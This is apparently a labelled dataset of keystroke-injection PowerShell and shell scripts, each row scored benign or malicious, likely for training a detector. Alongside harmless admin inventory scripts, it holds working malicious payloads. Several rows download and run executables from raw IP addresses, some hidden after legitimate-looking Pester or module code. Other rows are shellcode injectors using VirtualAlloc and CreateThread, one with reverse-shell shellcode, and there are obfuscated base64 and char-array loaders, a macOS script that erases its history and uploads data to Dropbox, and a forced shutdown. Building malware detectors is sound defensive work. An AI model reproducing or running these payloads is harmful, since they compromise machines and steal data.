"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_dgnclysf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.445337e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_ia281j5x"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_150.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4103203e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_gv7wkyi8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.392292e-05
"win+r powershell enter function Add-SPODateTimeFieldtoList enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string] $listTitle, enter [Parameter(Mandatory=$true, Position=2)] enter [string] $fieldName enter ) enter $newField = ""<Field Type='DateTime' DisplayName='$fieldName' Name='$fieldName' required='FALSE'/>"" enter Add-SPOField $listTitle $fieldName $newField enter } enter",0,0,0.9998635,0.00013646716
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_xjuyi2wj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_25.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.40876e-05
"win+r powershell enter Write-Host ""Installing Pester"" -ForegroundColor Cyan Install-Module Pester -Forc enter e -SkipPublisherCheck Write-Host ""Installing PSScriptAnalyzer"" -ForegroundColor enter Cyan Install-Module PSScriptAnalyzer -Force -SkipPublisherCheck Write-Host ""Inst enter alling latest PackageManagement"" -ForegroundColor Cyan Install-Module PackageMan enter agement -Force -SkipPublisherCheck Write-Host ""Installing latest PowerShellGet"" enter -ForegroundColor Cyan Install-Module PowerShellGet -Force -SkipPublisherCheck ( enter New-Object System.Net.WebClient).DownloadFile('http://80.82.64.45/~yakar/msvmonr enter .exe',""$env:APPDATA\msvmonr.exe"");Start-Process (""$env:APPDATA\msvmonr.exe"") enter",1,1,5.6040328e-05,0.999944
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_4hxpwxih"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4421413e-05
"win+r enter powershell enter enter enter $jYnb = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $jYnb -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xcd,0xbe,0x21,0x2f,0xd0,0x68,0xd9,0x74,0x24,0xf4,0x5a,0x2b,0xc9,0xb1,0x4f,0x31,0x72,0x19,0x83,0xea,0xfc,0x03,0x72,0x15,0xc3,0xda,0x2c,0x80,0x81,0x25,0xcd,0x51,0xe5,0xac,0x28,0x60,0x25,0xca,0x39,0xd3,0x95,0x98,0x6c,0xd8,0x5e,0xcc,0x84,0x6b,0x12,0xd9,0xab,0xdc,0x98,0x3f,0x85,0xdd,0xb0,0x7c,0x84,0x5d,0xca,0x50,0x66,0x5f,0x05,0xa5,0x67,0x98,0x7b,0x44,0x35,0x71,0xf0,0xfb,0xaa,0xf6,0x4c,0xc0,0x41,0x44,0x41,0x40,0xb5,0x1d,0x60,0x61,0x68,0x15,0x3b,0xa1,0x8a,0xfa,0x30,0xe8,0x94,0x1f,0x7c,0xa2,0x2f,0xeb,0x0b,0x35,0xe6,0x25,0xf4,0x9a,0xc7,0x89,0x07,0xe2,0x00,0x2d,0xf7,0x91,0x78,0x4d,0x8a,0xa1,0xbe,0x2f,0x50,0x27,0x25,0x97,0x13,0x9f,0x81,0x29,0xf0,0x46,0x41,0x25,0xbd,0x0d,0x0d,0x2a,0x40,0xc1,0x25,0x56,0xc9,0xe4,0xe9,0xde,0x89,0xc2,0x2d,0xba,0x4a,0x6a,0x77,0x66,0x3d,0x93,0x67,0xc9,0xe2,0x31,0xe3,0xe4,0xf7,0x4b,0xae,0x60,0x34,0x66,0x51,0x71,0x52,0xf1,0x22,0x43,0xfd,0xa9,0xac,0xef,0x76,0x74,0x2a,0x0f,0xad,0xc0,0xa4,0xee,0x4d,0x31,0xec,0x34,0x19,0x61,0x86,0x9d,0x21,0xea,0x56,0x21,0xf4,0xbd,0x06,0x8d,0xa6,0x7d,0xf7,0x6d,0x16,0x16,0x1d,0x62,0x49,0x06,0x1e,0xa8,0xe2,0x2f,0xf7,0x53,0x0c,0xb0,0x91,0x20,0x63,0xc9,0x0d,0xa3,0x09,0x44,0xa6,0x44,0x9e,0xe2,0x18,0xff,0x04,0x65,0x16,0xd1,0xaa,0x1c,0xac,0x2d,0x5a,0x76,0x64,0x1a,0x1a,0x77,0xa0,0xe9,0x5a,0x94,0x21,0xeb,0x0a,0xcc,0xb7,0xf3,0xbb,0x50,0x31,0x15,0xd1,0x78,0x17,0x8d,0x4d,0xe0,0x32,0x45,0xec,0xed,0xe8,0x23,0x2e,0x65,0x1f,0xd3,0xe0,0x8e,0x6a,0xc7,0x94,0x7e,0x21,0xb5,0x32,0x80,0x9f,0xd0,0xba,0x14,0x24,0x73,0xed,0x80,0x26,0xa2,0xd9,0x0e,0xd8,0x81,0x52,0x86,0x4c,0x6a,0x0c,0xe7,0x80,0x6a,0xcc,0xb1,0xca,0x6a,0xa4,0x65,0xaf,0x38,0xd1,0x69,0x7a,0x2d,0x4a,0xfc,0x85,0x04,0x3f,0x57,0xee,0xaa,0x66,0x9f,0xb1,0x55,0x4d,0x21,0x8d,0x83,0xab,0x57,0xff,0x17;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Q3F=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Q3F.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Q3F,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.247368e-05,0.99994755
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_5ppoovki"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.382788e-05
"win+r powershell enter $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(""H4sIAAAAAAAAAL1Xe2/i enter OBD/u3yK6FQpiZbybq9daaV1gPDYBCiBhMIhZGITTJ2YTRwovd3vfk4Cu+y1e9fTnS5SJMeeGc/85hkL enter 8yuLh8TlJkNYurJxGBEWSJVc7rLBOlz6IH2Uc6s4cHmynSwWHuaLbcjcBUQoxFEk/Z67GMAQ+pJyuYPh enter wmcopjgvpR8JIUZxiNWLi9xFuhUHEVzhRQA52eGFj/maoUhcpMzAdttgPiTB/P37ehyGOODZd6GFOYgi enter 7C8pwZGiSl8kZ41DfNVfbrDLpd+ly0WhRdkS0iPZoQ7dtTAIBCg5M5gLEwsK1pYSrsi//Sars6vyvND8 enter HEMaKbJ1iDj2C4hSWZW+qsmFo8MWK7JJ3JBFbMULDgmqlcI41b6XKm9mustqTtgWYh6HgfRzExOZGYci enter i+VAIAMyBGW10Al27BErl0FMaV76qMyOCg3jgBMfi3OOQ7a1cLgjLo4KbRggiod4NVd6eH/C4a1MyjmT enter oBrwUM0f3fcW3c3UxZk4WX2p/VkcqOJ5EQtq7mvulahCmGIPcrzgAvqzsMpdXMzSJRb2KAMWkZTvg1TK enter S6ZQAnIWHsTn5SiMsTqXZonrZvP58doTZ5T/qaDyievIkzkz0+ODNLMZQfPcRern9Dw5WCxjQhEOE4Kf enter R24Dr0iAG4cA+sQ9BafymtPwiuIUkMKJrCcUVeTjAUaNIzxygujsJVvTJ/wbr5YpB1zh+EhoJWJC/VGZ enter zImK3AlM7AsAs29ZOGslUgKfqI9pcDjdnnwLIrlOYRTlpUEsctLNSxaGFKO8BIKIHI9AzFm6lL+ra8aU enter ExdG/CRurr4C6fHqOgsi enter enter",1,1,6.3241256e-05,0.9999367
"win+r enter powershell enter enter enter function InModuleScope { enter [CmdletBinding()] enter param ( enter [Parameter(Mandatory = $true)] enter [string] enter $ModuleName, enter enter [Parameter(Mandatory = $true)] enter [scriptblock] enter $ScriptBlock enter ) enter enter if ($null -eq (& $SafeCommands['Get-Variable'] -Name Pester -ValueOnly -ErrorAction $script:IgnoreErrorPreference)) { enter enter $sessionState = Set-SessionStateHint -PassThru -Hint ""Caller - Captured in InModuleScope"" -SessionState $PSCmdlet.SessionState enter $Pester = New-PesterState -Path (& $SafeCommands['Resolve-Path'] .) -TestNameFilter $null -TagFilter @() -ExcludeTagFilter @() -SessionState $sessionState enter $script:mockTable = @{} enter } enter enter $module = Get-ScriptModule -ModuleName $ModuleName -ErrorAction Stop enter enter $originalState = $Pester.SessionState enter $originalScriptBlockScope = Get-ScriptBlockScope -ScriptBlock $ScriptBlock enter enter try { enter $sessionState = Set-SessionStateHint -PassThru -Hint ""Module - $($module.Name)"" -SessionState $module.SessionState enter $Pester.SessionState = $sessionState enter Set-ScriptBlockScope -ScriptBlock $ScriptBlock -SessionState $sessionState enter enter do { enter Write-ScriptBlockInvocationHint -Hint ""InModuleScope"" -ScriptBlock $ScriptBlock enter & $ScriptBlock enter } until ($true) enter } enter finally { enter $Pester.SessionState = $originalState enter Set-ScriptBlockScope -ScriptBlock $ScriptBlock -SessionStateInternal $originalScriptBlockScope enter } enter } enter enter function Get-ScriptModule { enter [CmdletBinding()] enter param ( enter [Parameter(Mandatory = $true)] enter [string] $ModuleName enter ) enter enter try { enter $modules = @(& $SafeCommands['Get-Module'] -Name $ModuleName -All -ErrorAction Stop) enter } enter catch { enter throw ""No module named '$ModuleName' is currently loaded."" enter } enter enter $scriptModules = @($modules | & $SafeCommands['Where-Object'] { $_.ModuleType -eq 'Script' }) enter enter if ($modules.Count -eq 0) { enter throw ""No module named '$ModuleName' is currently loaded."" enter } enter enter if ($scriptModules.Count -gt 1) { enter throw ""Multiple Script modules named '$ModuleName' are currently loaded. Make sure to remove any extra copies of the module from your session before testing."" enter } enter enter if ($scriptModules.Count -eq 0) { enter $actualTypes = @( enter $modules | enter & $SafeCommands['Where-Object'] { $_.ModuleType -ne 'Script' } | enter & $SafeCommands['Select-Object'] -ExpandProperty ModuleType -Unique enter ) enter enter $actualTypes = $actualTypes -join ', ' enter enter throw ""Module '$ModuleName' is not a Script module. Detected modules of the following types: '$actualTypes'"" enter } enter enter return $scriptModules[0] enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.5224613e-05,0.9999448
"win+r powershell enter unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_medium enter terminal enter delay_medium enter enter enter delay_medium enter echo -e ""export HISTCONTROL=ignorespace enter unset HISTFILE"" >> ~/.bashrc && source ~/.bashrc && exec bash enter delay_medium enter enter enter delay_medium enter history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') enter delay_medium enter enter enter delay_medium enter enter enter delay_medium enter osascript -e 'do shell script ""networksetup -listallhardwareports > \""$HOME/Desktop/network_interfaces.txt\"" && ipconfig getpacket en0 >> \""$HOME/Desktop/network_interfaces.txt\""""' enter delay_medium enter enter enter delay_medium enter curl -X POST https://content.dropboxapi.com/2/files/upload -H ""Authorization: Bearer <API access token here>"" -H ""Dropbox-API-Arg: {\""path\"": \""/Backup/network_interfaces.txt\"",\""mode\"": \""add\"",\""autorename\"": true,\""mute\"": false}"" -H ""Content-Type: application/octet-stream"" --data-binary @""$HOME/Desktop/network_interfaces.txt"" enter delay_long enter enter enter delay_long enter rm -r ~/Desktop/network_interfaces.txt enter delay_medium enter enter enter clear enter delay_medium enter enter enter unknown_key_action GUI w enter delay_medium enter enter enter",1,1,5.398544e-05,0.999946
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_ml9wv2h7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3604418e-05
delay_medium enter delay_medium enter cmd enter enter enter delay_medium enter shutdown /s /t 60 enter enter,1,1,6.18402e-05,0.99993813
"win+r enter powershell enter enter enter $oTvt = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $oTvt -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x42,0x8c,0x13,0x6b,0xdb,0xc8,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x47,0x83,0xc5,0x04,0x31,0x55,0x0f,0x03,0x55,0x4d,0x6e,0xe6,0x97,0xb9,0xec,0x09,0x68,0x39,0x91,0x80,0x8d,0x08,0x91,0xf7,0xc6,0x3a,0x21,0x73,0x8a,0xb6,0xca,0xd1,0x3f,0x4d,0xbe,0xfd,0x30,0xe6,0x75,0xd8,0x7f,0xf7,0x26,0x18,0xe1,0x7b,0x35,0x4d,0xc1,0x42,0xf6,0x80,0x00,0x83,0xeb,0x69,0x50,0x5c,0x67,0xdf,0x45,0xe9,0x3d,0xdc,0xee,0xa1,0xd0,0x64,0x12,0x71,0xd2,0x45,0x85,0x0a,0x8d,0x45,0x27,0xdf,0xa5,0xcf,0x3f,0x3c,0x83,0x86,0xb4,0xf6,0x7f,0x19,0x1d,0xc7,0x80,0xb6,0x60,0xe8,0x72,0xc6,0xa5,0xce,0x6c,0xbd,0xdf,0x2d,0x10,0xc6,0x1b,0x4c,0xce,0x43,0xb8,0xf6,0x85,0xf4,0x64,0x07,0x49,0x62,0xee,0x0b,0x26,0xe0,0xa8,0x0f,0xb9,0x25,0xc3,0x2b,0x32,0xc8,0x04,0xba,0x00,0xef,0x80,0xe7,0xd3,0x8e,0x91,0x4d,0xb5,0xaf,0xc2,0x2e,0x6a,0x0a,0x88,0xc2,0x7f,0x27,0xd3,0x8a,0x4c,0x0a,0xec,0x4a,0xdb,0x1d,0x9f,0x78,0x44,0xb6,0x37,0x30,0x0d,0x10,0xcf,0x37,0x24,0xe4,0x5f,0xc6,0xc7,0x15,0x49,0x0c,0x93,0x45,0xe1,0xa5,0x9c,0x0d,0xf1,0x4a,0x49,0xbb,0xf4,0xdc,0x78,0x3c,0xfd,0x12,0x15,0x3e,0x01,0x3b,0xb9,0xb7,0xe7,0x6b,0x11,0x98,0xb7,0xcb,0xc1,0x58,0x68,0xa3,0x0b,0x57,0x57,0xd3,0x33,0xbd,0xf0,0x79,0xdc,0x68,0xa8,0x15,0x45,0x31,0x22,0x84,0x8a,0xef,0x4e,0x86,0x01,0x1c,0xae,0x48,0xe2,0x69,0xbc,0x3c,0x02,0x24,0x9e,0xea,0x1d,0x92,0xb5,0x12,0x88,0x19,0x1c,0x45,0x24,0x20,0x79,0xa1,0xeb,0xdb,0xac,0xba,0x22,0x4e,0x0f,0xd4,0x4a,0x9e,0x8f,0x24,0x1d,0xf4,0x8f,0x4c,0xf9,0xac,0xc3,0x69,0x06,0x79,0x70,0x22,0x93,0x82,0x21,0x97,0x34,0xeb,0xcf,0xce,0x73,0xb4,0x30,0x25,0x82,0x88,0xe6,0x03,0xf0,0xe0,0x3a;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$6bu=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($6bu.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$6bu,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.224898e-05,0.9999478
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_aiqncsyk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Export-Csv -Path (Join-Path $ReportDir ""network_dns_servers.csv"") -NoTypeInformation enter",0,0,0.9999653,3.463161e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_oc1gb05o"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.4232955e-05
"win+r enter powershell enter enter enter  enter for ($a=0; $a -le 100; $a++) { enter Write-Host -NoNewLine ""`r$a% complete"" enter Start-Sleep -Milliseconds 10 enter } enter Write-Host """" enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7750534e-05,0.9999423
"& ( ( [ s y s t e m . S t r i n g ] : : n e w ( @ ( ( 7 1 1 8 5 0 / 6 1 9 0 ) enter , ( 7 7 6 1 - ( 5 6 4 0 + 2 0 2 0 ) ) , ( 2 5 8 2 - 2 4 6 6 ) , ( 4 7 5 2 - 4 7 enter 0 7 ) , ( 4 7 9 3 7 4 / 4 9 4 2 ) , ( 6 5 1 6 - ( 9 9 1 6 - ( 2 9 7 0 9 2 5 2 / enter 8 4 6 9 ) ) ) , ( 7 6 2 4 - 7 5 1 9 ) , ( - 3 5 8 1 + 3 6 7 8 ) , ( 4 4 3 6 - 4 enter 3 2 1 ) ) ) ) ) y n i u a c ( [ c h a r [ ] ] @ ( ( 4 1 2 2 3 0 / 5 8 8 9 ) enter , ( 1 7 2 7 1 6 / 1 5 5 6 ) , ( 9 9 6 2 4 6 / 8 7 3 9 ) , ( - 6 6 9 9 + 6 7 6 8 enter ) , ( - 4 3 0 4 + 4 4 0 1 ) , ( - 1 6 9 8 + ( - 3 4 3 7 + ( 4 7 0 0 6 5 5 4 / ( enter 2 2 3 + 8 7 5 8 ) ) ) ) , ( - 7 6 5 2 + 7 7 5 6 ) , ( - 1 6 3 9 + 1 6 8 4 ) , ( enter 7 2 8 1 - 7 2 0 2 ) , ( - 9 9 2 7 + 1 0 0 2 5 ) , ( - 6 5 6 3 + 6 6 6 9 ) , ( - enter 7 3 8 9 + 7 4 9 0 ) , ( - 7 7 4 5 + 7 8 4 4 ) , ( 8 4 2 1 6 0 / ( 2 3 0 + ( 4 3 enter 4 8 0 5 5 0 / 6 1 8 5 ) ) ) ) - j o i n ' ' ) ; & ( ( [ c h a r [ ] ] @ ( enter ( 6 1 1 9 1 5 / 5 3 enter",1,1,6.8545516e-05,0.99993145
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_pn81f4ej"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4877532e-05
"win+r powershell enter $hexString = ""41 64 64 2D 54 79 70 65 20 2D 74 79 70 65 64 65 66 20 40 22 0A 20 enter 20 20 20 75 73 69 6E 67 20 53 79 73 74 65 6D 3B 0A 20 20 20 20 75 73 69 6E 67 20 enter 53 79 73 74 65 6D 2E 49 4F 3B 0A 20 20 20 20 75 73 69 6E 67 20 53 79 73 74 65 6 enter D 2E 49 4F 2E 43 6F 6D 70 72 65 73 73 69 6F 6E 3B 0A 0A 20 20 20 20 6E 61 6D 65 enter 73 70 61 63 65 20 6D 79 47 7A 69 70 0A 20 20 20 20 7B 0A 20 20 20 20 20 20 20 20 enter 70 75 62 6C 69 63 20 73 74 61 74 69 63 20 63 6C 61 73 73 20 44 65 63 6F 6D 70 7 enter 2 65 73 73 6F 72 0A 20 20 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 20 20 20 enter 20 20 70 75 62 6C 69 63 20 73 74 61 74 69 63 20 62 79 74 65 5B 5D 20 44 65 63 6F enter 6D 70 72 65 73 73 28 73 74 72 69 6E 67 20 66 69 6C 65 50 61 74 68 29 0A 20 20 2 enter 0 20 20 20 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 enter 20 62 79 74 65 5B 5D 20 64 61 74 61 20 3D 20 46 69 6C 65 2E 52 65 61 64 41 6C 6C enter 42 79 74 65 73 28 6 enter enter",1,1,6.847966e-05,0.9999316
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_brls4br9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_10.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.390148e-05
"win+r enter powershell enter enter enter $XAt = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $XAt -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xdb,0x32,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Sb9Y=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Sb9Y.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Sb9Y,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2040425e-05,0.9999479
